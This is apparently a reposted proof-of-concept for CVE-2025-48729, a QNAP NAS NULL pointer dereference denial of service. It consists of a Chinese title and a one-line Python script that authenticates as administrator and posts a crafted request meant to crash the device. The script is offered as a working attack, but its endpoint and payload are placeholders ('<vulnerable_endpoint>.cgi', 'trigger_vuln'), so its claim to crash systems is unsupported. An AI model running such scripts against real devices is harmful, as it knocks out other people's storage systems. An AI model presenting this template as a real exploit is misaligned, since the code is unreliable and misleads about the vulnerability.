CVE-2025-48729 QNAP操作系统空指针解引用拒绝服务漏洞

# CVE-2025-48729 PoC - QNAP NULL Pointer Dereference DoS # Vulnerability: NULL Pointer Dereference in QNAP QTS/QuTS hero # Requirement: Valid administrator credentials # Impact: Denial of Service (System Crash/Hang) import requests import sys import urllib3 urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning) TARGET_HOST = sys.argv[1] if len(sys.argv) > 1 else "https://<qnap-nas-ip>:8080" ADMIN_USER = "admin" ADMIN_PASS = "<admin_password>" def exploit_null_deref(): """ Trigger NULL pointer dereference by sending crafted request to vulnerable QNAP system service after authentication. """ session = requests.Session() session.verify = False # Step 1: Authenticate as administrator login_url = f"{TARGET_HOST}/cgi-bin/authLogin.cgi" login_payload = { "user": ADMIN_USER, "pwd": ADMIN_PASS, "serviceName": "qnap" } try: resp = session.post(login_url, data=login_payload, timeout=10) if resp.status_code != 200: print("[-] Authentication failed") return False print("[*] Authenticated as administrator") except Exception as e: print(f"[-] Connection error: {e}") return False # Step 2: Trigger NULL pointer dereference via vulnerable endpoint # The vulnerable service fails to validate pointer before dereference vuln_url = f"{TARGET_HOST}/cgi-bin/<vulnerable_endpoint>.cgi" crafted_payload = { # Crafted parameters that trigger NULL pointer path "param": "\x00", "action": "trigger_vuln" } try: resp = session.post(vuln_url, data=crafted_payload, timeout=5) print(f"[*] Request sent, status: {resp.status_code}") except requests.exceptions.Timeout: print("[+] Target appears to be unresponsive - DoS likely successful") return True except requests.exceptions.ConnectionError: print("[+] Connection refused - Target service crashed") return True except Exception as e: print(f"[*] Response: {e}") return False if __name__ == "__main__": print(f"[*] Targeting: {TARGET_HOST}") exploit_null_deref()